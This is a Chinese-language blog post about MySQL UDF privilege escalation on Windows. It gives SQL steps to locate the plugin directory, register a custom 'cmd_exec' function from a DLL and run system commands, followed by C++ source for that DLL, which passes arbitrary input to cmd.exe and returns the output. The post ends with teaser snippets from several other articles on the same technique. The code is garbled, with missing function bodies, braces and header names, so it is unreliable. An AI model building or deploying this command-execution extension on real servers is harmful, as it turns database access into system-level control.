以前看過一篇老外的文章講mysql udf提權原理,這篇文章中針對kali自帶的mysql 提權udf.dll進行了解釋,但是並沒有介紹如何編寫乙個標準的udf擴充套件。
後來有個朋友託我幫他改下udf.dll,把其他功能去掉,只留下cmd_shell這個命令執行的功能
開始我以為隨便寫個dll,然後匯出個函式,就可以用mysql載入並呼叫了。
具體開發步驟,可以參考官方文件:
比如我要實現的函式名叫cmd_exec
,必須也要宣告乙個cmd_exec_init
的函式才行,這個函式是要做乙個初始化工作,申請記憶體什麼的。
檢視mysql的擴充套件路徑,得到mysql的擴充套件路徑後,把編譯好的擴充套件dll放進去
select @@plugin_dir()
然後在mysql中匯入擴充套件dll中的函式
create function cmd_exec returns string soname 'test.dll';
使用擴充套件函式
select cmd_exec("calc.exe");
刪除擴充套件函式
drop function cmd_exec;
下面是我寫的cmd_exec 擴充套件dll原始碼
#include "stdafx.h"
#include "windows.h"
#include #include "./include/mysql.h"
extern "c" __declspec(dllexport) my_bool cmd_exec_init()
extern "c" __declspec(dllexport) char* cmd_exec(udf_init *initid, udf_args *args, char *result, unsigned long *length, char *is_null, char *error)
// create child process:
process_information pinfo = ;
startupinfoa stinfo = ;
stinfo.cb = sizeof(startupinfo);
stinfo.dwflags = startf_useshowwindow | startf_usestdhandles;
stinfo.hstdoutput = hwritepipe;
stinfo.hstderror = hwritepipe;
// get
char cmd_buf[4096] = ;
sprintf(cmd_buf,"/c %s", args->attributes[0], args->attribute_lengths[0]);
if (!createprocessa("c:\\windows\\system32\\cmd.exe", cmd_buf, null, null, true, 0, null, null, &stinfo, &pinfo))
closehandle(hwritepipe);
// command buffer
char lpbuffer[4096];
dword lpbytesread = 0;
while (peeknamedpipe(hreadpipe, lpbuffer, 4096, &lpbytesread, null, null)) }
waitforsingleobject(pinfo.hprocess, infinite);
closehandle(hreadpipe);
return "nothing!!!";
}bool apientry dllmain(hmodule hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
) return true;
}
MySQL擴充套件介面UDF提權
1.udf介紹 udf user defined function 是mysql的乙個拓展介面,也稱為自定義函式。2.udf提權條件 1 目標系統是windows win2000,xp,win2003 2 可以將udf.dll寫入到相應目錄的許可權。如果 mysql版本大於5.1版本,udf.dll...
linux下 udf提權 mysql udf提權
前言 udf user defined function 即 使用者自定義函式 檔案字尾為 dll 常用c語言編寫。通過在udf檔案中定義新函式,對mysql的功能進行擴充,可以執行系統任意命令。將mysql賬號root轉化為系統system許可權。思路 1.將udf檔案上傳到指定位置 sqlmap...
udf提權的適用環境
自己只遇到過windows mysql,所以一直以為只適用這個環境 多虧有人提醒,才發現udf提權並不限於此環境,而是同時適用於windows和linux環境,且支援mysql和postgresql 很久沒有進行提取,都忘記udf的含義了。複習下 user defined function udf提...